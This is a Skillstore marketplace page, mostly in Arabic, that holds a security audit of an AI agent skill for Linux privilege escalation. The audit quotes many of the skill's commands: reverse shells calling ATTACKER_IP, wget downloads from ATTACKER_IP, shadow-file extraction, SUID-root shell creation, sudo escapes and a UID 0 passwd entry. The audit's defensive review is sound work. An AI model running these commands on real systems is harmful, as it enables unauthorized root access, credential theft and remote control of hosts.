📦
content-creator
88إنشاء محتوى تسويقي متسق مع العلامة التجارية
تحتاج فرق التسويق إلى محتوى يبقى متسقًا عبر القنوات. تساعد هذه المهارة في تخطيط المحتوى وكتابته وتحليله وتحسينه بما يتوافق مع نبرة العلامة التجارية وSEO.
الكتابة والمحتوى عرض
المهارات linux-privilege-escalation
📦
linux-privilege-escalation
v1.1 مراجعة المحتوى r1 حرج ⚡ يحتوي على سكربتات⚙️ الأوامر الخارجية🌐 الوصول إلى الشبكة📁 الوصول إلى نظام الملفات
تقييم مسارات تصعيد الامتيازات في Linux
تتطلب مراجعات تصعيد الامتيازات في Linux فحوصات منظمة وتفويضا دقيقا. تنظم هذه المهارة التعداد، وتحليل مسارات الاستغلال، والتقاط الأدلة، والمعالجة للتقييمات الأمنية المضبوطة.
يدعم: Claude Codex Code(CC)
لا تثبّت هذا Skill تلقائيًا.
تتطلب السياسة المعتمدة مراجعة المشغّل قبل أي إجراء تثبيت.
التثبيت باستخدام Agent لدي
انسخ هذا الطلب إلى Agent لديك. يتضمن صفحة Skill المعتمدة وملف manifest.
طلب الوكيل
Review the Skillstore skill "linux-privilege-escalation" from https://skillstore.io/skills/sickn33-linux-privilege-escalation.md and its manifest at https://skillstore.io/api/skills/sickn33-linux-privilege-escalation/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.يجب أن يواصل Agent عرض خطته وطلب أي تأكيد تفرضه سياسة الأمان.
موارد مهيّأة لـ Agents
استخدم هذه الروابط عندما يحتاج AI Agent أو crawler أو script إلى سياق نظيف بدلًا من قراءة الصفحة كاملة.
اختبرها
جارٍ استخدام "linux-privilege-escalation". يعرض مضيف مختبر مصرح به أذونات sudo واسعة وسكربتات صيانة قابلة للكتابة.
النتيجة المتوقعة:
تعطي الاستجابة الأولوية لمراجعة sudo، وإصلاحات ملكية السكربتات، والأدلة المطلوب جمعها، وإجراءات التقوية الفورية.
جارٍ استخدام "linux-privilege-escalation". يحتوي خادم Linux على ملفات SUID غير معتادة وأذونات متساهلة لسكربتات cron.
النتيجة المتوقعة:
تجمع الاستجابة المخاطر حسب التأثير، وتشرح مسارات التصعيد المحتملة، وتدرج مالكي المعالجة.
جارٍ استخدام "linux-privilege-escalation". يحتاج فريق أمن إلى تقرير بعد تقييم مضبوط لتصعيد الامتيازات.
النتيجة المتوقعة:
تنتج الاستجابة نتائج موجزة، وعناصر التحكم المتأثرة، ومبررات الشدة، ومراحل المعالجة.
التدقيق الأمني
حرجv5 • ٩/٧/٢٠٢٦ فتح التقرير المرتبط بالإصدار
The skill is an offensive Linux privilege escalation playbook. Confirmed findings include root-shell commands, credential file access, SUID and UID manipulation, reverse shell payloads, attacker-hosted downloads, and reconnaissance steps; Markdown fence matches were marked false positive. The skill requires major defensive reframing before marketplace publication.
1
الملفات التي تم فحصها
505
الأسطر التي تم تحليلها
71
عناصر المراجعة
0
تم تجاهل الإيجابيات الكاذبة
مخاوف أمنية مؤكدة (40)
حرج
System password file access
cat /etc/passwd | grep -v nologin | grep -v false
The line enumerates /etc/passwd to identify login users during privilege escalation. Although often world-readable, this context supports offensive targeting.
حرج
System password file access
cat /etc/passwd | grep home
The line enumerates /etc/passwd to identify login users during privilege escalation. Although often world-readable, this context supports offensive targeting.
حرج
System password file access
sudo less /etc/passwd
The line opens /etc/passwd through sudo in a GTFOBins-style escalation section. The surrounding steps use the pager to launch a shell.
حرج
System password file access
LFILE=/etc/shadow
The line reads or extracts the shadow password database for offline cracking. That is credential theft guidance in a privilege escalation workflow.
حرج
System password file access
base64 /etc/shadow | base64 -d > shadow.txt
The line reads or extracts the shadow password database for offline cracking. That is credential theft guidance in a privilege escalation workflow.
حرج
System password file access
base64 /etc/passwd | base64 -d > passwd.txt
The line enumerates /etc/passwd to identify login users during privilege escalation. Although often world-readable, this context supports offensive targeting.
حرج
System password file access
# Add to /etc/passwd (using SUID editor)
The line introduces modifying /etc/passwd with a SUID editor to add a privileged account. That is credential and account control abuse.
حرج
System password file access
$ base64 /etc/shadow | base64 -d
The line reads or extracts the shadow password database for offline cracking. That is credential theft guidance in a privilege escalation workflow.
عرض جميع النتائج المؤكدة البالغة 40
حرج
SUID bit modification
chmod +s /tmp/bash
The command sets the SUID bit on a shell or compiled payload to preserve elevated execution. This directly enables root privilege escalation.
حرج
SUID bit modification
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
The command sets the SUID bit on a shell or compiled payload to preserve elevated execution. This directly enables root privilege escalation.
حرج
SUID bit modification
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
The command sets the SUID bit on a shell or compiled payload to preserve elevated execution. This directly enables root privilege escalation.
حرج
UID/GID manipulation
setgid(0);
The code changes UID or GID to 0 before spawning a shell. That is direct root privilege escalation behavior.
حرج
UID/GID manipulation
setuid(0);
The code changes UID or GID to 0 before spawning a shell. That is direct root privilege escalation behavior.
حرج
UID/GID manipulation
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The code changes UID or GID to 0 before spawning a shell. That is direct root privilege escalation behavior.
حرج
UID/GID manipulation
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
The code changes UID or GID to 0 before spawning a shell. That is direct root privilege escalation behavior.
حرج
UID/GID manipulation
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
The code changes UID or GID to 0 before spawning a shell. That is direct root privilege escalation behavior.
حرج
UID/GID manipulation
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
The code changes UID or GID to 0 before spawning a shell. That is direct root privilege escalation behavior.
حرج
Pipe to shell pattern
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
The command pipes a remote script directly into a shell without review or integrity checks. In this skill it runs offensive enumeration tooling on a target.
حرج
End-to-End Privilege Escalation Playbook
The skill explicitly targets gaining root control from a low-privilege shell and includes successful sudo-to-root examples. This intent can operationalize unauthorized escalation.
The metadata, purpose, deliverables, and example all state or demonstrate root access as the objective. This is clear offensive workflow intent, not incidental command use.
حرج
Credential Extraction And Offline Cracking Workflow
The skill instructs reading password and shadow data, creating hash files, and cracking them offline. This is credential theft guidance rather than only vulnerability reporting.
The cited sections combine shadow extraction with offline cracking steps. The sequence confirms credential-harvesting intent beyond simple file enumeration.
حرج
Reverse Shell Payload Guidance
The skill includes reverse shell payloads and cron-script payload insertion that connect a target back to an operator. This enables remote interactive access.
The cited lines show callback shell payloads for cron hijacking and multiple shell implementations. The operator-controlled callback intent is explicit.
مرتفع
UID/GID manipulation
# Example: python with cap_setuid
The location introduces cap_setuid exploitation examples that immediately change process identity to root. The context confirms UID/GID abuse.
مرتفع
UID/GID manipulation
# Example: vim with cap_setuid
The location introduces cap_setuid exploitation examples that immediately change process identity to root. The context confirms UID/GID abuse.
مرتفع
UID/GID manipulation
# Example: perl with cap_setuid
The location introduces cap_setuid exploitation examples that immediately change process identity to root. The context confirms UID/GID abuse.
منخفض
System reconnaissance
hostname
The command gathers host, kernel, or user context for the privilege escalation workflow. It is reconnaissance that supports later exploitation.
منخفض
System reconnaissance
uname -a
The command gathers host, kernel, or user context for the privilege escalation workflow. It is reconnaissance that supports later exploitation.
منخفض
System reconnaissance
whoami
The command gathers host, kernel, or user context for the privilege escalation workflow. It is reconnaissance that supports later exploitation.
منخفض
System reconnaissance
id
The command gathers host, kernel, or user context for the privilege escalation workflow. It is reconnaissance that supports later exploitation.
منخفض
System reconnaissance
void _init() {
The label is broad, but the location is inside exploit code or examples that obtain root identity. The surrounding section confirms offensive privilege escalation context.
منخفض
System reconnaissance
# Example: python with cap_setuid
The label is broad, but the location is inside exploit code or examples that obtain root identity. The surrounding section confirms offensive privilege escalation context.
منخفض
System reconnaissance
# Example: vim with cap_setuid
The label is broad, but the location is inside exploit code or examples that obtain root identity. The surrounding section confirms offensive privilege escalation context.
منخفض
System reconnaissance
# Example: perl with cap_setuid
The label is broad, but the location is inside exploit code or examples that obtain root identity. The surrounding section confirms offensive privilege escalation context.
منخفض
System reconnaissance
| Kernel version | `uname -a` |
The command gathers host, kernel, or user context for the privilege escalation workflow. It is reconnaissance that supports later exploitation.
منخفض
System reconnaissance
# id
The command verifies root identity after a successful escalation example. It is low-risk alone but confirms the workflow aims for root access.
منخفض
System reconnaissance
# id
The command verifies root identity after a successful escalation example. It is low-risk alone but confirms the workflow aims for root access.
منخفض
Network reconnaissance
ifconfig
The command enumerates network interfaces, connections, or listening services on the target. This reconnaissance supports privilege escalation and lateral discovery.
منخفض
Network reconnaissance
ip addr
The command enumerates network interfaces, connections, or listening services on the target. This reconnaissance supports privilege escalation and lateral discovery.
منخفض
Network reconnaissance
netstat -antup
The command enumerates network interfaces, connections, or listening services on the target. This reconnaissance supports privilege escalation and lateral discovery.
منخفض
Network reconnaissance
ss -tulpn
The command enumerates network interfaces, connections, or listening services on the target. This reconnaissance supports privilege escalation and lateral discovery.
منخفض
Network reconnaissance
netstat -l
The command enumerates network interfaces, connections, or listening services on the target. This reconnaissance supports privilege escalation and lateral discovery.
عناصر مراجعة القدرات (71)
هذه قدرات محلية حقيقية قد يُتوقع وجودها لهذه المهارة، لذا فهي تتطلب مراجعة ولكن لا تُحتسب كسلوك خبيث مؤكد.
حرج
Python exec() function
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));con
The static label is imprecise, but the line is a Perl reverse shell that executes an interactive shell. In this privilege escalation guide, that is actionable command execution risk.
حرج
Process exec
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));con
The line is a reverse shell payload that spawns an interactive shell and connects to an operator-controlled host. This is high-risk post-exploitation behavior.
حرج
Python subprocess.call
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.f
The line is a reverse shell payload that spawns an interactive shell and connects to an operator-controlled host. This is high-risk post-exploitation behavior.
حرج
Python os.system
sudo python -c 'import os; os.system("/bin/bash")'
The command invokes a shell from a privileged execution context to obtain root-level control. The surrounding section explicitly teaches privilege escalation.
حرج
Python os.system
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command invokes a shell from a privileged execution context to obtain root-level control. The surrounding section explicitly teaches privilege escalation.
حرج
Python os.exec variants
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
The command invokes a shell from a privileged execution context to obtain root-level control. The surrounding section explicitly teaches privilege escalation.
حرج
Ruby/PHP system() call
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The system() call is used to spawn a shell or build a SUID-root payload. In this context it is direct privilege escalation guidance.
حرج
Ruby/PHP system() call
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
The system() call is used to spawn a shell or build a SUID-root payload. In this context it is direct privilege escalation guidance.
حرج
Unix shell invocation
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The shell invocation is part of creating or executing a SUID-root shell. That directly enables privilege escalation on a Linux host.
حرج
Unix shell invocation
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
The shell invocation is part of creating or executing a SUID-root shell. That directly enables privilege escalation on a Linux host.
حرج
Unix shell invocation
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
The shell invocation is part of creating or executing a SUID-root shell. That directly enables privilege escalation on a Linux host.
حرج
Unix shell invocation
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
The shell invocation is part of a reverse shell payload that connects a target system back to an operator. This is actionable unauthorized access guidance if misused.
حرج
Unix shell invocation
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
The shell invocation is part of creating or executing a SUID-root shell. That directly enables privilege escalation on a Linux host.
حرج
Unix shell invocation
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.f
The shell invocation is part of a reverse shell payload that connects a target system back to an operator. This is actionable unauthorized access guidance if misused.
حرج
Unix shell invocation
nc -e /bin/bash ATTACKER_IP 4444
The shell invocation is part of a reverse shell payload that connects a target system back to an operator. This is actionable unauthorized access guidance if misused.
حرج
Unix shell invocation
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));con
The shell invocation is part of a reverse shell payload that connects a target system back to an operator. This is actionable unauthorized access guidance if misused.
حرج
Unix shell invocation
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
The shell invocation is part of creating or executing a SUID-root shell. That directly enables privilege escalation on a Linux host.
حرج
Hardcoded URL
wget http://ATTACKER_IP:8000/linpeas.sh
The URL pattern downloads enumeration or exploit code from an operator-controlled host during a privilege escalation workflow. That is a risky payload-transfer pattern.
حرج
Hardcoded URL
wget http://ATTACKER_IP/exploit.c
The URL pattern downloads enumeration or exploit code from an operator-controlled host during a privilege escalation workflow. That is a risky payload-transfer pattern.
حرج
Temp directory access
chmod +s /tmp/bash
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
حرج
Temp directory access
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
حرج
Temp directory access
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
حرج
Temp directory access
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
مرتفع
Ruby/PHP system() call
sudo awk 'BEGIN {system("/bin/bash")}'
The system() call is used to spawn a shell or build a SUID-root payload. In this context it is direct privilege escalation guidance.
مرتفع
Ruby/PHP system() call
sudo python -c 'import os; os.system("/bin/bash")'
The system() call is used to spawn a shell or build a SUID-root payload. In this context it is direct privilege escalation guidance.
مرتفع
Ruby/PHP system() call
system("/bin/bash");
The system() call is used to spawn a shell or build a SUID-root payload. In this context it is direct privilege escalation guidance.
مرتفع
Ruby/PHP system() call
# Shows: system("service apache2 start")
The system() string appears in a PATH hijacking example for a SUID binary. It teaches replacing a privileged child command with attacker-controlled execution.
مرتفع
sudo privilege escalation
description: This skill should be used when the user asks to "escalate privileges on Linux", "find p
The skill metadata and purpose explicitly state that it helps identify and exploit Linux privilege escalation paths. That confirms offensive intent beyond general administration.
مرتفع
sudo privilege escalation
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconf
The skill metadata and purpose explicitly state that it helps identify and exploit Linux privilege escalation paths. That confirms offensive intent beyond general administration.
مرتفع
sudo privilege escalation
sudo -l
The command enumerates sudo rights as the first step in exploiting sudo misconfigurations. In this guide it feeds root shell techniques shown nearby.
مرتفع
sudo privilege escalation
# Example: vim with sudo
The location introduces concrete sudo exploitation examples that follow immediately. The surrounding commands show gaining a shell through sudo-enabled binaries.
مرتفع
sudo privilege escalation
sudo vim -c ':!/bin/bash'
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
مرتفع
sudo privilege escalation
# Example: find with sudo
The location introduces concrete sudo exploitation examples that follow immediately. The surrounding commands show gaining a shell through sudo-enabled binaries.
مرتفع
sudo privilege escalation
sudo find . -exec /bin/sh \; -quit
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
مرتفع
sudo privilege escalation
# Example: awk with sudo
The location introduces concrete sudo exploitation examples that follow immediately. The surrounding commands show gaining a shell through sudo-enabled binaries.
مرتفع
sudo privilege escalation
sudo awk 'BEGIN {system("/bin/bash")}'
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
مرتفع
sudo privilege escalation
# Example: python with sudo
The location introduces concrete sudo exploitation examples that follow immediately. The surrounding commands show gaining a shell through sudo-enabled binaries.
مرتفع
sudo privilege escalation
sudo python -c 'import os; os.system("/bin/bash")'
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
مرتفع
sudo privilege escalation
# Example: less with sudo
The location introduces concrete sudo exploitation examples that follow immediately. The surrounding commands show gaining a shell through sudo-enabled binaries.
مرتفع
sudo privilege escalation
sudo less /etc/passwd
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
مرتفع
sudo privilege escalation
# Execute with sudo
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
مرتفع
sudo privilege escalation
sudo LD_PRELOAD=/tmp/shell.so find
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
مرتفع
sudo privilege escalation
| Sudo rights | `sudo -l` |
The command enumerates sudo rights as the first step in exploiting sudo misconfigurations. In this guide it feeds root shell techniques shown nearby.
مرتفع
sudo privilege escalation
**Scenario**: User has sudo rights for find command
The location introduces concrete sudo exploitation examples that follow immediately. The surrounding commands show gaining a shell through sudo-enabled binaries.
مرتفع
sudo privilege escalation
$ sudo -l
The command enumerates sudo rights as the first step in exploiting sudo misconfigurations. In this guide it feeds root shell techniques shown nearby.
مرتفع
sudo privilege escalation
$ sudo find . -exec /bin/bash \; -quit
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
مرتفع
Linux /proc filesystem access
cat /proc/version
The command reads kernel details from /proc to select kernel privilege escalation exploits. In this workflow the information is used for offensive targeting.
مرتفع
Linux /proc filesystem access
cat /proc/version
The command reads kernel details from /proc to select kernel privilege escalation exploits. In this workflow the information is used for offensive targeting.
مرتفع
Temp directory access
sudo LD_PRELOAD=/tmp/shell.so find
The temporary path stores a library loaded through sudo LD_PRELOAD. That is a known path to privileged code execution.
مرتفع
Temp directory access
cp /bin/bash /tmp/bash
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
مرتفع
Temp directory access
/tmp/bash -p
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
مرتفع
Temp directory access
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
The temporary path is used to place attacker-controlled executable content for PATH hijacking. The surrounding workflow executes it through a privileged binary.
مرتفع
Temp directory access
chmod +x /tmp/service
The temporary path is used to place attacker-controlled executable content for PATH hijacking. The surrounding workflow executes it through a privileged binary.
مرتفع
Temp directory access
mount -o rw TARGET_IP:/share /tmp/nfs
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
مرتفع
Temp directory access
$ /tmp/bash -p
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
متوسط
Unix shell invocation
sudo vim -c ':!/bin/bash'
The shell invocation is executed through sudo or a sudo-enabled utility to gain an interactive root shell. The section is explicit exploitation guidance.
متوسط
Unix shell invocation
sudo find . -exec /bin/sh \; -quit
The shell invocation is executed through sudo or a sudo-enabled utility to gain an interactive root shell. The section is explicit exploitation guidance.
متوسط
Unix shell invocation
sudo awk 'BEGIN {system("/bin/bash")}'
The shell invocation is executed through sudo or a sudo-enabled utility to gain an interactive root shell. The section is explicit exploitation guidance.
متوسط
Unix shell invocation
sudo python -c 'import os; os.system("/bin/bash")'
The shell invocation is executed through sudo or a sudo-enabled utility to gain an interactive root shell. The section is explicit exploitation guidance.
متوسط
Unix shell invocation
!/bin/bash
The command invokes an interactive shell inside a privilege escalation workflow. The surrounding section shows how to turn that invocation into elevated access.
متوسط
Unix shell invocation
system("/bin/bash");
The command invokes an interactive shell inside a privilege escalation workflow. The surrounding section shows how to turn that invocation into elevated access.
متوسط
Unix shell invocation
cp /bin/bash /tmp/bash
The shell invocation is part of creating or executing a SUID-root shell. That directly enables privilege escalation on a Linux host.
متوسط
Unix shell invocation
find . -exec /bin/sh -p \; -quit
The command invokes an interactive shell inside a privilege escalation workflow. The surrounding section shows how to turn that invocation into elevated access.
متوسط
Unix shell invocation
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
The line creates a UID 0 login entry with a root shell. This is an account takeover and persistence technique, not benign shell configuration.
متوسط
Unix shell invocation
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
The command invokes an interactive shell inside a privilege escalation workflow. The surrounding section shows how to turn that invocation into elevated access.
متوسط
Unix shell invocation
$ sudo find . -exec /bin/bash \; -quit
The shell invocation is executed through sudo or a sudo-enabled utility to gain an interactive root shell. The section is explicit exploitation guidance.
منخفض
Hardcoded URL
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
The URL is used to download a remote script and pipe it directly to a shell. That creates unreviewed remote code execution on the target system.
منخفض
Hardcoded URL
Reference https://gtfobins.github.io for exploitation commands:
The URL points to external exploitation references or tooling used by this privilege escalation workflow. It can direct agents toward offensive techniques.
منخفض
Hardcoded URL
- GTFOBins: https://gtfobins.github.io
The URL points to external exploitation references or tooling used by this privilege escalation workflow. It can direct agents toward offensive techniques.
منخفض
Hardcoded URL
- LinPEAS: https://github.com/carlospolop/PEASS-ng
The URL points to external exploitation references or tooling used by this privilege escalation workflow. It can direct agents toward offensive techniques.
منخفض
Hardcoded URL
- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
The URL points to external exploitation references or tooling used by this privilege escalation workflow. It can direct agents toward offensive techniques.
عوامل الخطر
⚡ يحتوي على سكربتات (1)
⚙️ الأوامر الخارجية (50)
SKILL.md:419 SKILL.md:413 SKILL.md:230 SKILL.md:322 SKILL.md:325 SKILL.md:57-73 SKILL.md:73-77 SKILL.md:77-94 SKILL.md:94-98 SKILL.md:98-112 SKILL.md:112-116 SKILL.md:116-126 SKILL.md:126-130 SKILL.md:130-136 SKILL.md:136-142 SKILL.md:142-154 SKILL.md:154-158 SKILL.md:158-166 SKILL.md:166-172 SKILL.md:172-175 SKILL.md:175-179 SKILL.md:179-185 SKILL.md:185-197 SKILL.md:197-206 SKILL.md:206-212 SKILL.md:212-214 SKILL.md:214-219 SKILL.md:219-235 SKILL.md:235-240 SKILL.md:240-252 SKILL.md:252-254 SKILL.md:254-260 SKILL.md:260-266 SKILL.md:266-269 SKILL.md:269-274 SKILL.md:274-286 SKILL.md:286-290 SKILL.md:290-298 SKILL.md:298-302 SKILL.md:302-308 SKILL.md:308-314 SKILL.md:314-316 SKILL.md:316-320 SKILL.md:320-329 SKILL.md:329-335 SKILL.md:335-347 SKILL.md:347-351 SKILL.md:351-359 SKILL.md:359-363 SKILL.md:363-373
🌐 الوصول إلى الشبكة (7)
الأنماط المكتشفة
System password file access×8SUID bit modification×3UID/GID manipulation×9Pipe to shell patternSystem reconnaissance×11Network reconnaissance×5
دقّقه: codex عرض سجل التدقيق →
شارك واستشهد بهذا التقرير
شارك تقرير التقييم المرتبط بالإصدار والشارة المحايدة وبطاقة التضمين والاستشهادات. تعرض Skillstore الأدلة من دون أن تقرر ما إذا كانت هذه المهارة آمنة.
نسخ رابط التقرير
https://skillstore.io/skills/sickn33-linux-privilege-escalation/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportشارة Markdown
[](https://skillstore.io/skills/sickn33-linux-privilege-escalation?utm_source=security_passport_badge)شارة HTML
<a href="https://skillstore.io/skills/sickn33-linux-privilege-escalation?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-linux-privilege-escalation/security.svg" alt="Skillstore security assessment" loading="lazy"></a>بطاقة قابلة للتضمين
<iframe src="https://skillstore.io/embed/skills/sickn33-linux-privilege-escalation.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>الاستشهادات الأكاديمية (APA · BibTeX · CFF)
اقتباس APA
sickn33. (2026). linux-privilege-escalation security audit report (audit version 5) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-linux-privilege-escalation/audits/5اقتباس BibTeX
@techreport{sickn33-sickn33-linux-privilege-escalation-2026,
author = {sickn33},
title = {linux-privilege-escalation security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-linux-privilege-escalation/audits/5},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "linux-privilege-escalation security audit report (audit version 5)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-linux-privilege-escalation/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-linux-privilege-escalation:audit:5"
description: "Skillstore immutable audit report identifier"
تقييم Skillstore
سبب هذا التقييم موثوقية الأدلة: متوسط 55
الهندسة المعمارية
85
قابلية الصيانة
87
المحتوى
70
المجتمع
78
الامتثال للمواصفات
ما الذي يمكنك بناؤه
التحقق من نتائج المختبر
استخدم قائمة التحقق لإعادة إنتاج مسارات التصعيد في Linux ضمن بيئة تدريب أو اختبار مضبوطة.
تنظيم تقييم مصرح به
خطط للتعداد، والتقاط الأدلة، وملاحظات المعالجة أثناء اختبار اختراق Linux ضمن نطاق محدد.
ترتيب أولويات أعمال التقوية
اربط مسارات التصعيد المحتملة بعناصر التحكم في sudo وSUID وcron وcapabilities وNFS والنواة.
جرّب هذه الموجّهات
راجع النطاق أولا
ساعدني في إعداد خطة مراجعة لتصعيد الامتيازات في Linux لمضيف مختبر مصرح به. ضمّن فحوصات النطاق، وأهداف الأدلة، وحدود السلامة.
أنشئ خطة تعداد
أنشئ قائمة تحقق لتعداد Linux لتقييم داخلي محدد النطاق. ركز على مراجعة sudo وSUID وcron وcapabilities والنواة وNFS.
حلل النتائج بأمان
لدي نتائج تعداد Linux مصرح بها. ساعدني في ترتيب مخاطر تصعيد الامتيازات وكتابة خطوات المعالجة دون تشغيل أوامر استغلال.
أعد تقرير معالجة
حوّل نتائج تصعيد الامتيازات المتحقق منها في Linux إلى ملخص تنفيذي، وملاحظات تأثير تقنية، وتوصيات تقوية مرتبة حسب الأولوية.
أفضل الممارسات
- أكد التفويض المكتوب والنطاق قبل استخدام أي سير عمل تقييم.
- فضّل التحقق للقراءة فقط والتحليل الدفاعي قبل أي اختبار يغير النظام.
- وثق الأدلة، والأوامر التي تمت مراجعتها، والتأثير، وقرارات المعالجة لكل نتيجة.
تجنب
- لا تستخدم المهارة ضد أنظمة لا تملكها أو لا تديرها.
- لا تشغل خطوات استغلال أو reverse shell أو تعديل ملفات على أنظمة الإنتاج دون موافقة صريحة.
- لا تعتبر التصعيد الناجح مكتملا دون تنظيف وإرشادات معالجة.
الأسئلة المتكررة
هل هذه المهارة آمنة للتثبيت التلقائي؟
لا. تحتوي على مسارات عمل للاستغلال وينبغي أن تتطلب مراجعة صارمة قبل الاستخدام.
من ينبغي أن يستخدم هذه المهارة؟
فقط محترفو الأمن المصرح لهم، أو الطلاب في المختبرات، أو المدافعون الذين يراجعون أنظمة Linux مملوكة لهم.
هل تنفذ الأوامر بنفسها؟
المهارة عبارة عن توثيق، لكنها تتضمن أوامر قد تضر بالأنظمة الحقيقية إذا تم اتباعها.
هل يمكنها المساعدة في المعالجة؟
نعم. يمكنها تنظيم النتائج واقتراح مجالات التقوية بعد التحقق المصرح به.
ما المخاطر الرئيسية؟
المخاطر الرئيسية هي إرشادات root shell، والوصول إلى ملفات بيانات الاعتماد، وreverse shells، وتعديل النظام.
هل يمكنني استخدامها لأدلة الامتثال؟
استخدمها فقط كوسيلة مساعدة للتخطيط. تحقق من النتائج باستخدام أدوات معتمدة وإجراءات موثقة.
تفاصيل المطور
المؤلف
sickn33الترخيص
MIT
إصدار المؤلف
v1.1
مراجعة Skillstore
r1
تنبيه الإصدار
الإصدار الذي أعلنه المؤلف ليس SemVer صالحًا.
المستودع
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/linux-privilege-escalationمرجع
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
حداثة الصيانة
٢٢/٧/٢٠٢٦
الاستخدام
22 تنزيلات · 176 مشاهدات
بنية الملفات
📄 SKILL.md
المزيد من sickn33
عرض الكل📦
prompt-engineering-patterns
85حسّن مطالبات LLM باستخدام أنماط مثبتة
تستهلك المطالبات غير المتسقة الوقت وتجعل مخرجات الذكاء الاصطناعي صعبة الثقة. ترشد هذه المهارة تصميم المطالبات باستخدام أنماط قابلة لإعادة الاستخدام، وأمثلة، وخطوات تقييم، وسير عمل للتحسين.
الإنتاجية عرض
📦
senior-architect
81تصميم معماريات برمجية قابلة للتوسع
يصعب مقارنة قرارات المعمارية عبر أنظمة الويب والهواتف المحمولة والخلفية والسحابة. توفر هذه المهارة أدلة منظمة وسكربتات تمهيدية محلية للتقارير ومراجعة الاعتماديات وتوثيق المفاضلات.
البرمجة والتطوير عرض
📦
senior-fullstack
81بناء تطبيقات Fullstack بأنماط هندسية متقدمة
تحتاج الفرق إلى إرشادات متسقة للإعداد والبنية والمراجعة لتطبيقات الويب الحديثة. توفر هذه المهارة أدوات إنشاء هياكل أولية، ومراجع لسير العمل، ومطالبات للجودة لمشاريع React وNext.js وNode.js وGraphQL وPostgreSQL.
البرمجة والتطوير عرض
📦
prompt-engineer
81حسّن موجهات الذكاء الاصطناعي باستخدام Prompt Engineer
